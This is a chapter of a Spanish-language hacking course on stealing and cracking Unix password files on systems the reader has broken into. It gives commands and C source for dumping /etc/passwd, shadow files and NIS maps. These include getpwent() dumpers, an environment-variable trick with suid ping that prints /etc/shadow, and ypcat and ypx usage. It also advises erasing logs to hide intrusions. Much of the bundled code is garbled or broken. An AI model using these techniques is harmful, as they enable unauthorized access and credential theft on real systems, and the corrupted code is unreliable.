Curso de Hacking Avanzado - CRACKEAR PASSWORDS EN MAQUINAS UNIX

Suponiendo que con alguna de las tecnicas expuestas en el apartado anterior, hemos conseguido el famoso fichero /etc/passwd, ahora hay que obtener los passwd desencriptados.

Introduccion y algoritmo de cifrado.

En los sistemas Unix, los logins y los passwords suelen estar en el fichero /etc/passwd ( a no ser que esten shadow ).

En estos ficheros, el login es visible y el password esta encriptado por lo que tienen una forma como la que se muestra a continuacion:

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Donde cada campo viene separado por : y en los que el significado de cada campo es:

Login: will

Password encriptado: 5fg63fhD3d5gh

Numero de identificacion del usuario (UID): 9406

Numero de identificacion del grupo al que pertenece (GID): 12

Nombre real: Will Spencer

Directorio Home: /home/fsg/will

Tipo de shell: /bin/bash

En algunas lineas, el campo password es "*". Este password encriptado es invalido, o sea, no se corresponde con ningun password; por tanto, las cuentas que tienen alguna "*" en el campo password son cuentas a las que no se podra entrar y que son usadas por el sistema operativo.

Si en el fichero de pass en el lugar del password aparece :: quiere decir que esa cuenta no tiene password, por lo que al introducir el login entras directamente.

Respecto a la cadena de uid ( user identification) el "0" corresponde al rOOt. Igualmente, si hay otros users con uid=0, estos usuarios son rOOt a todos los efectos, o sea, tienen los mismos derechos que el rOOt ( nota para el que vaya un poco perdido, el rOOt es la persona que tiene un poder absoluto sobre el sistema pudiendo hacer todo lo que le plazca). Muchas veces solo habra un user con id 0 pero a veces hay varios con lo que se facilita el trabajo :o)

Los usuarios que sin tener el uid=0 tienen el mismo gid que el rOOt, tambien tienen algunos privilegios por el hecho de pertenecer al grupo del rOOt. Igualmente, hay que observar los uid y los gid de otros personajes particulares del sistema como wwwadmin, admin, www, bin , etc.

La siguiente cadena indica el directorio home, es decir al directorio que entraras cuando entres a esa maquina. La ultima cadena indica el shell que usaras por defecto cuando entres... hay varios tipos de shell.. sh, csh... pero eso se comenta en cualquier sitio que hable sobre unix por lo que para remitiros a las diferencias lo podeis mirar alli.

Vamos a hablar un poco sobre el algoritmo de cifrado:

El algoritmo de cifrado es el llamado DES, el cual era un algoritmo practicamente indescifrable cuando se ideo, pero que con el paso del tiempo y la tremenda evolucion de la tecnologia, cada dia se hace mas posible su desencriptado, dada la velocidad de los ordenadores actuales.

Es casi imposible volver hacia atras a partir de un password para obtener la palabra original. La unica forma que se conoce de romper DES es a fuerza bruta, cosa que se consiguio a principios de 1997 en internet, con maquinas distribuidas (lo mismo que ahora intentan con RC5). Tardaron 4 meses en romperlo, y eso que tuvieron suerte y solo tuvieron que probar una pequeña parte de todas las posibles claves.

Otro aspecto a destacar es la existencia del password aging, es decir que los password caducan. Esto es importante conocerlo ya que si los passwords se renuevan habitualmente, tendremos que acelerar nuestras acciones si no queremos que tras haber crackeado el fichero passwd, estos passwords ya hayan sido cambiados :o(

Si existe el password aging, en el fichero de passwords las entradas seran del tipo:

Pepe:cualquier,43:34:3:Pepe perez:/home/pepe

El formato es del tipo passwd,Mmww donde M es el maximo numero de semanas que pueden pasar hasta que el password sea cambiado y m es el minimo intervalo en el que puede ser cambiado mientras que ww indica cuando fue la ultima vez que se cambio el password.

La relacion entre M, m y el numero real de semanas es:

Caracter Numero de semanas

. 0

/ 1

0-9 2-11

A-Z 12-37

a-z 38-63

Asi, en el ejemplo de Pepe, el password contiene la extension ,43 que quiere decir que debe ser cambiado antes de 6 semanas ( ya que el 0 corresponde al 2) y que debe permanecer al menos 3.

Entonces la pregunta es.. si es casi imposible desencriptarlos.. ¿que hace unix/linux para leer el fichero cuando entras al sistema??. Simplemente lo que hace es leer el login y el passwd que introduces por el teclado, los encripta y si coinciden con los correspondientes en el fichero /etc/passwd ya estas dentro!!!

Por tanto, la forma de atacar un fichero de passwords de Unix es precisamente la misma que usa el sistema operativo para verificar un password: encriptar muuuuchas palabras y comprobar cada una de ellas si coincide con el password encriptado. Si coincide, ya tenemos un password, y si no, probamos la siguiente palabra. Para hacer esto necesitamos tres cosas: una lista de palabras a probar, una lista con los passwords encriptados y un programa que haga las pruebas.

Conseguir el fichero de passwd estando dentro de la maquina

Introduccion

Siempre que se tenga una cuenta en un sistema, debereis entrar en el para pillar el famoso fichero de passwd sobre todo si esa cuenta os la ha pasado otro hacker ya que el root puede darse cuenta que esa cuenta es peligrosa para sus intereses y cerrarla.

Igualmente, antes de ir a pillarlo, haced un who para ver si esta el root.. aunque muchas veces aparece el root y realmente no esta ya que es facil hacer esto por lo que cada uno que vea lo que hace en estos casos aunque con un poco de sentido comun es sencilla la determinacion a tomar.

Asi, si teneis el fichero de passwd tendreis muchisimas cuentas y os dara lo mismo que cierren la cuenta con la que entrasteis en principio aunque esto realmente no es asi por lo que no lo tomeis muy al pie de la letra ya que un root que se de cuenta de que tiene un hacker rondando ( si el root controla el tema) siempre tiene las de ganar en esta batalla :(

Ademas, es conveniente cambiar de cuentas para entrar al sistema ya que como se comentara mas adelante parte de lo que hagais en un sistema UNIX se queda en los ficheros de logs por lo que si no conseguis root y borrais estos logs, vuestras huellas estaran ahi y nada mas que el root tenga algo de interes por la seguridad vera que ha habido un tio haciendo cosas inusuales, pero todo esto ya es otro cantar que ya se hablara mas adelante.

El resumen de los anteriores parrafos es que lo mejor es una vez con una cuenta en el sistema, pillar el fichero de passwords y luego hacerse root y borrar todas las huellas... el problema es que no siempre todo esto es tan sencillo :(

En fin, suponemos que hemos conseguido una cuenta por alguno de los metodos anteriores, asi, si la cuenta no es muy restringida siempre podeis hacer un "cat /etc/passwd". Si no tienen Shadow Passwords o NIS aparecera una lista como la que habeis visto al principio. Sino, aparecera algo similar a esto:

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

33

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Aunque el problema que se puede dar en muchos de estos sistemas, el directorio que contiene el fichero passwd (este o no este shadow) no es de acceso a usuarios que no sean root, por lo que en principio no conseguiremos ver su contenido, pero eso se hara posible gracias a sucesivas llamadas a getpwent(). Debemos nombrar este archivo como getpass y direccionar su salida a un fichero tal como sigue:

cc cogerPass.cc -o cogerPass > fichero

---

Cortar a partir de aqui

---

#include <iostream.h>

#include <pwd.h>

struct passwd *pw;

main()

{

while ((pw = getpwent()) != NULL)

{

cout << pw->pw_name;

cout << ":" << pw->pw_passwd;

cout << ":" << pw->pw_uid;

cout << ":" << pw->pw_gid;

cout << ":" << pw->pw_gecos;

cout << ":" << pw->pw_dir;

cout << ":" << pw->pw_shell << endl;

}

endpwent();

}

---

hasta aqui

---

y tendreis el archivo de passwd renombrado con el nombre fichero con lo que ya podeis hacer lo que querais con el. Se os ocurre algo ¿?? XDD

PASSWORD SHADOWING

En todo el texto nos hemos referido a este concepto sin explicar lo que es. Posiblemente lo tendria que haber comentado antes, pero espero que quien lea se leera todo el texto antes de hacer nada. En fin, no me enrollo, password shadowing consiste en un sistema de seguridad en el cual en el archivo etc/passwd no estan los ficheros encriptados, sino que habra algo del tipo:

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/usr/lib/news:

uucp:x:10:14:uucp:/var/spool/uucppublic:

operator:x:11:0:operator:/root:/bin/bash

games:x:12:100:games:/usr/games:

man:x:13:15:man:/usr/man:

postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:x:-2:100:nobody:/dev/null:

ftp:x:404:1::/home/ftp:/bin/bash

guest:x:405:100:guest:/dev/null:/dev/null

bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:x:502:100:Web Master:/home/web:/bin/bash

mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

En los que como se puede observar, los passwd encriptados han sido sustituidos por una x aunque podria ser un * u otros simbolos. En este tipo de sistemas de seguridad, el verdadero archivo de passwd esta en un fichero que no es el /etc/passwd, pero el problema es que ese archivo no es accesible para todo el mundo, sino que es de solo lectura por el root por lo que si eres un usuario normal, no podras leerlo en principio.

A continuacion se muestra en que directorio puede estar el fichero shadow en los sistemas operativos mas usuales (obtenida de FAQ 2600):

Para determinar el tipo de unix que corre, usa uname –a cuando estes ya dentro de la maquina, aunque se puede ver con un telnet u otros metodos.

Unix Path Token

---

AIX 3 /etc/security/passwd !

or /tcb/auth/files/<first letter #

of username>/<username>

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Reno /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files/<first letter *

of username>/<username>

SunOS4.1+c2 /etc/security/passwd.adjunct username

SunOS 5.0 /etc/shadow

<optional NIS+ private secure maps/tables/whatever>

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb *

Una manera de conseguir el fichero de passwd si esta shadow y si usa libc 5.4.7 ( algunos aun la usan) es aprovechar que algunos comandos como ping, traceroute, rlogin y ssh estan suid por lo que se podra explotar como sigue:

Ejecutas bash o sh

Export RESOLV_HOST_CONF=/etc/shadow ( o el fichero en el que este dependiendo del sistema operativo)

Ping asdf

Y si no ha fallado nada te imprimira el shadow jeje. Con este metodo se pueden hacer mas kosas... pero es tan obvio que lo omito okis? jeje

NIS

Otro concepto que se ha comentado a lo largo del texto es el de NIS por lo que a continuacion explico un poco lo que es.

NIS (Network Information System) es un protocolo de nivel de aplicacion muy util para la gestion de configuraciones cliente/servidor en sistemas UNIX. Anteriormente era conocido como Yellow Pages y es un sistema de bases de datos distribuidas que proporcionan un metodo uniforme para el almacenamiento y de recuperacion de la informacion sobre los recursos de red. En lugar de gestionar archivos como /etc/host /etc/passwd,/etc/group independientemente en cada maquina de la red, este sistema posibilita que solo haya una base de datos compartida por el resto de las maquinas clientes en un servidor central.

En fin, tras este rollo os preguntares y que mas nos da esto del NIS??, pues bien, es que una de la informacion ( mapas) que es compartida son los famosos ficheros de password que nosotros buscamos jeje.

Asi, si estas dentro de una maquina con NIS y os sale algo que parece un shadow en el fichero /etc/passwd posiblemente haya un NIS. Esto se puede identificar como se ha comentado, mirando la ultima linea del fichero de passwd y si es algo del tipo "+::0:0:::" o mirando los procesos del sistema, ya que el NIS siempre tendra corriendo ypserv y algunos procesos mas que empiezan por yp, es decir, yp*. Bien, si ya tienes claro que corre NIS, lo que tienes que intentar es usar el ypcat tal como sigue:

ypcat /etc/passwd > ~/passwd

y bajate el fichero passwd de tu directorio HOME usando FTP o como quieras. Mas adelante se comentaran varios metodos.

En caso de que no tengais privilegios para ejecutar el "ypcat", o en caso de que el "ypcat" no este o por si acaso lo que aparece al ejecutar el "ypcat" vuelve a ser basura otra vez, tendreis que recurrir a otros programas para obtener los passwords como por ejemplo el pwget que tambien es usado para pillar shadows:

---

CUT HERE

---

# This is a shell archive. Remove anything before this line,

# then unpack it by saving it in a file and typing "sh file".

# This archive contains:

# README Makefile pwget.1 pwget.c

LANG=" "; export LANG

echo x - README

cat >README <<'@EOF'

These utilities provided a common command level access to /etc/group and /etc/passwd much in the same way as getgrent(), getpwent(), et al.

This is especially useful if your system is running NFS and Yellow Pages. With Yellow pages, there is no easy command level interface for this information that will give you the same results as the libc routines.

These routines use "getopt()" so make sure your system has it.

Edit the Makefile for your machine/os and for the owner, group, mode

and destination of the binary and the man page.

Install with: make install.

File list:

README - This file.

Makefile - Makefile.

pwget.1 - Man Page.

pwget.c - Command source.

@EOF

chmod 664 README

echo x - Makefile

cat >Makefile <<'@EOF'

# Configure CFLAGS/LDFLAGS for your machine/OS

# for HP-UX and other Sys V systems:

CFLAGS= -O -DSYSV

# for VAX 4.[23] BSD, SunOS and other BSD based systems:

36

# CFLAGS= -O -DBSD

# Need getopt for pwget, include library that has it.

# System V based system (like HP-UX), 4.3BSD and SunOS have null LDFLAGS.

LDFLAGS=

# 4.2BSD requires getopt from someplace.

# LDFLAGS= -lgetopt

MODE=755

OWNER=bin

GROUP=bin

DEST=dest

MANMODE=444

MANOWNER=bin

MANGROUP=bin

MANDEST=man

all: grget pwget pwget.cat

install: installcmd installman

installcmd: pwget

strip pwget

# use install for BSD and cpset for SYSV

# install -c -o $(OWNER) -g $(GROUP) -m $(MODE) pwget $(DEST)

cpset pwget $(DEST) $(MODE) $(OWNER) $(GROUP)

ln $(DEST)/pwget $(DEST)/grget

installman: pwget.1

# use install for BSD and cpset for SYSV

# install -c -o $(MANOWNER) -g $(MANGROUP) -m $(MANMODE) pwget.1 $(MANDEST)

cpset pwget.1 $(MANDEST) $(MANMODE) $(MANOWNER) $(MANGROUP)

grget: pwget

ln pwget grget

pwget: pwget.o

cc $(LDFLAGS) -o pwget pwget.o

pwget.o: pwget.c

cc $(CFLAGS) -c pwget.c

pwget.cat: pwget.1

tbl pwget.1 | nroff -man -T > pwget.cat

clean:

/bin/rm -f pwget.o pwget grget

clobber: clean

@EOF

chmod 664 Makefile

echo x - pwget.1

cat >pwget.1 <<'@EOF'

.TH PWGET UTIL **// //**.ad b **// //**.SH NAME **// //**pwget, grget \- get password and group information **// //**.SH SYNOPSIS **// //**.B pwget **// //**.RB [ " \-n" " name" **// //**.RB | " \-u" " uid " ] **// //**.PP **// //**.B grget **// //**.RB [ " \-n" " name" **// //**37 **// //**.RB | " \-g" " gid " ] **// //**.br **// //**.SH DESCRIPTION **// //**.I Pwget\^ **// //**and **// //**.I grget\^ **// //**are used to access the information found in **// //**.B /etc/passwd **// //**and **// //**.BR /etc/group . **// //**These routines provide a common access method **// //**whether using the Yellow Page network database or not. **// //**The output of these routines is sent to standard output. **// //**With no options, **// //**.I pwget **// //**and **// //**.I grget **// //**output all of the data found using **// //**.IR getpwent( LIBC ) **// //**and **// //**.IR getgrent( LIBC ) **// //**respectively. **// //**When options are given, only specified entries are searched for. **// //**.PP **// //**The options for **// //**.I pwget **// //**are: **// //**.RS **// //**.TP .8i **// //**.BI \-n " name" **// //**Output the first entry that matches using **// //**.BI getpwnam( name ). **// //**.TP **// //**.BI \-u " uid" **// //**Output the first entry that matches using **// //**.BI getpwuid( uid ). **// //**.RE **// //**.PP **// //**The options for **// //**.I grget **// //**are: **// //**.RS **// //**.TP .8i **// //**.BI \-n " name" **// //**Output the first entry that matches using **// //**.BI getgrnam( name ). **// //**.TP **// //**.BI \-g " gid" **// //**Output the first entry that matches using **// //**.BI getgrgid( gid ). **// //**.RE **// //**.SH RETURN VALUE **// //**These routines return 0 upon success, 1 when **// //**a specific search fails and 2 upon error. **// //**.SH WARNINGS **// //**If the Yellow Page network database is in use and the **// //**YP client daemon, **// //**.IR ypbind (ADMIN), **// //**is not connected to a YP server daemon, **// //**.IR ypserv (ADMIN), **// //**then these utilities will wait until such a connection is **// //**established. These routines can be terminated in this **// //**condition by sending a SIGINT signal to the process (see **// //**.IR kill (UTIL)). **// //**.SH AUTHOR **// //**Pwget and grget were developed by Hewlett-Packard Company. **// //**38 **// //**.SH FILES **// //**.TS **// //**l l. **// //**/etc/group Local group data file **// //**/etc/passwd Local password data file **// //**.TE **// //**.SH SEE ALSO **// //**getgrent(LIBC), getpwent(LIBC), group(FILE), passwd(FILE). **// //**@EOF **// //**chmod 644 pwget.1 **// //**echo x - pwget.c **// //**cat >pwget.c <<'@EOF' **// //**#include <stdio.h> **// //**#include <grp.h> **// //**#include <pwd.h> **// //**#ifdef SYSV **// //**#include <string.h> **// //**#else /* not SYSV but BSD */ **// //**#include <strings.h> **// //**#endif /* SYSV / BSD */ **// //**int atoi(), getopt(); **// //**char *arg0; **// //**#define GRGET 1 **// //**#define PWGET 2 **// //**int mode; /* Mode of operation, either GRGET or PWGET. */ **// //**main(argc, argv) **// //**int argc; **// //**char **argv; **// //**{ **// //**int printgr(), printpw(); **// //**int c; **// //**extern char *optarg; **// //**extern int optind; **// //**struct group *grp; **// //**struct passwd *pwd; **// //**int anyflag = 0, **// //**gflag = 0, **// //**nflag = 0, **// //**uflag = 0; **// //**int gid, uid; **// //**char *name, *opts; **// //**mode = 0; **// //**#ifdef SYSV **// //**if ((arg0 = strrchr(argv[0], '/')) == NULL) **// //**#else /* not SYSV but BSD */ **// //**if ((arg0 = rindex(argv[0], '/')) == NULL) **// //**#endif /* SYSV / BSD */ **// //**arg0 = argv[0]; **// //**else **// //**arg0++; /* Start after the '/' */ **// //**if (strcmp(arg0, "grget") == 0) **// //**mode = GRGET; **// //**else if (strcmp(arg0, "pwget") == 0) **// //**mode = PWGET; **// //**else **// //**usage(); **// //**39 **// //**switch(mode) **// //**{ **// //**case GRGET: **// //**setgrent(); **// //**opts = "g:n:"; **// //**break; **// //**case PWGET: **// //**setpwent(); **// //**opts = "u:n:"; **// //**break; **// //**} **// //**while ((c = getopt(argc, argv, opts)) != EOF) **// //**{ **// //**switch (c) **// //**{ **// //**case 'g': **// //**if (anyflag != 0) **// //**usage(); **// //**gflag++; **// //**anyflag++; **// //**gid = atoi(optarg); **// //**break; **// //**case 'n': **// //**if (anyflag != 0) **// //**usage(); **// //**nflag++; **// //**anyflag++; **// //**name = optarg; **// //**break; **// //**case 'u': **// //**if (anyflag != 0) **// //**usage(); **// //**uflag++; **// //**anyflag++; **// //**uid = atoi(optarg); **// //**break; **// //**case '?': **// //**usage(); **// //**break; **// //**} **// //**} **// //**if (argv[optind] != NULL) **// //**usage(); **// //**if (gflag) **// //**{ **// //**if ((grp = getgrgid(gid)) != NULL) **// //**printgr(grp); **// //**else **// //**exit(1); **// //**} **// //**else if (nflag) **// //**{ **// //**if (mode == GRGET) **// //**{ **// //**if ((grp = getgrnam(name)) != NULL) **// //**printgr(grp); **// //**else **// //**exit(1); **// //**} **// //**else if (mode == PWGET) **// //**40 **// //**{ **// //**if ((pwd = getpwnam(name)) != NULL) **// //**printpw(pwd); **// //**else **// //**exit(1); **// //**} **// //**} **// //**else if (uflag) **// //**{ **// //**if ((pwd = getpwuid(uid)) != NULL) **// //**printpw(pwd); **// //**else **// //**exit(1); **// //**} **// //**else **// //**{ **// //**if (mode == GRGET) **// //**{ **// //**while ((grp = getgrent()) != NULL) **// //**printgr(grp); **// //**} **// //**else if (mode == PWGET) **// //**{ **// //**while ((pwd = getpwent()) != NULL) **// //**printpw(pwd); **// //**} **// //**} **// //**switch(mode) **// //**{ **// //**case GRGET: **// //**endgrent(); **// //**break; **// //**case PWGET: **// //**endpwent(); **// //**break; **// //**} **// //**exit(0); **// //**} **// //**usage() **// //**{ **// //**switch(mode) **// //**{ **// //**case GRGET: **// //**fprintf(stderr, "usage: %s [ -g gid | -n name ]\n", arg0); **// //**break; **// //**case PWGET: **// //**fprintf(stderr, "usage: %s [ -n name | -u uid ]\n", arg0); **// //**break; **// //**default: **// //**fprintf(stderr, "Call as either grget or pwget\n"); **// //**break; **// //**} **// //**exit(2); **// //**} **// //**printgr(g) **// //**struct group *g; **// //**{ **// //**char **chr; **// //**int comma; **// //**41 **// //**if (g != NULL) **// //**{ **// //**printf("%s:%s:%d:", g->gr_name, g->gr_passwd, g->gr_gid); **// //**/* prints "grp1,grp2,grp3, ... ,grpn" */ **// //**for (comma = 0, chr = g->gr_mem; *chr != NULL; chr++) **// //**printf("%s%s", ((comma==0)?comma++,:","), *chr);

printf("\n");

}

}

printpw(p)

struct passwd *p;

{

if (p != NULL)

{

printf("%s:%s", p->pw_name, p->pw_passwd);

#ifdef SYSV

if (strcmp(p->pw_age, "") != 0)

printf(",%s", p->pw_age);

#endif /* SYSV */

printf(":%d:%d:%s:%s:%s\n", p->pw_uid, p->pw_gid,

p->pw_gecos, p->pw_dir, p->pw_shell);

}

}

@EOF

chmod 666 pwget.c

exit 0

---

CUT HERE

---

Una vez lo teneis en la maquina objetivo, lo compilais con "cc -o pwget pwget.c", y ejecutarlo ("./pwget"), con lo que obtendreis por pantalla la lista de passwords. Si quereis la lista en un fichero, solo teneis que redireccionar la salida de la pantalla a un fichero:

$ ./pwget > fichero

Ahora adjunto otro programita que siempre es bueno tenerlo a mano por si el pwget da alguna pega o algo y que sirve para obtener los password shadow es el siguiente.

Su uso es gcc shadow.c -o shadow o cc shadow.c -o shadow y luego ./shadowpw >> password. Asi obtenendremos el fichero de passwd en el fichero password.

---

CUT HERE

---

/* This source will/should print out SHADOWPW passwd files. */

struct SHADOWPW { /* see getpwent(3) */

char *pw_name;

char *pw_passwd;

int pw_uid;

int pw_gid;

int pw_quota;

char *pw_comment;

char *pw_gecos;

char *pw_dir;

char *pw_shell;

};

42

struct passwd *getpwent(), *getpwuid(), *getpwnam();

#ifdef elxsis?

/* Name of the shadow password file. Contains password and aging info */

#define SHADOWPW "/etc/shadowpw"

#define SHADOWPW_PAG "/etc/shadowpw.pag"

#define SHADOWPW_DIR "/etc/shadowpw.dir"

/*

* Shadow password file pwd->pw_gecos field contains:

*

* <type>,<period>,<last_time>,<old_time>,<old_password>

*

* <type> = Type of password criteria to enforce (type int).

* BSD_CRIT (0), normal BSD.

* STR_CRIT (1), strong passwords.

* <period> = Password aging period (type long).

* 0, no aging.

* else, number of seconds in aging period.

* <last_time> = Time (seconds from epoch) of the last password

* change (type long).

* 0, never changed.n

* <old_time> = Time (seconds from epoch) that the current password

* was made the <old_password> (type long).

* 0, never changed.ewromsinm

* <old_password> = Password (encrypted) saved for an aging <period> to

* prevent reuse during that period (type char [20]).

* "*", no <old_password>.

*/

/* number of tries to change an aged password */

#define CHANGE_TRIES 3

/* program to execute to change passwords */

#define PASSWD_PROG "/bin/passwd"

/* Name of the password aging exempt user names and max number of entires */

#define EXEMPTPW "/etc/exemptpw"

#define MAX_EXEMPT 100

/* Password criteria to enforce */

#define BSD_CRIT 0 /* Normal BSD password criteria */

#define STR_CRIT 1 /* Strong password criteria */

#define MAX_CRIT 1

#endif elxsi

#define NULL 0

main()

{

struct passwd *p;

int i;

for (;1;) {;

p=getpwent();

if (p

NULL) return;
printpw(p);

} }

printpw(a)

struct SHADOWPW *a;

{

printf("%s:%s:%d:%d:%s:%s:%s\n",

43

a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,

a->pw_gecos,a->pw_dir,a->pw_shell);

}

/* SunOS 5.0 /etc/shadow */

/* SunOS4.1+c2 /etc/security/passwd.adjunct */

---

CUT HERE

---

Ademas existe un programa llamado YPX que sirve para extraer estos mapas (incluido el fichero passwd, donde estan incluidos todos las passwords de los usuarios) de un servidor de NIS aunque la maquina en la que estemos no sea una maquina cliente. Para conseguirlo buscalo en la red en cualquier buscador o posiblemente este en el web de donde te bajes este texto :o). Hay otros programas de ese estilo como ypsnarf, etc.

Su uso es muy sencillo ya que solo tienes que hacer:

ypx –m passwd nombre_dominio_nis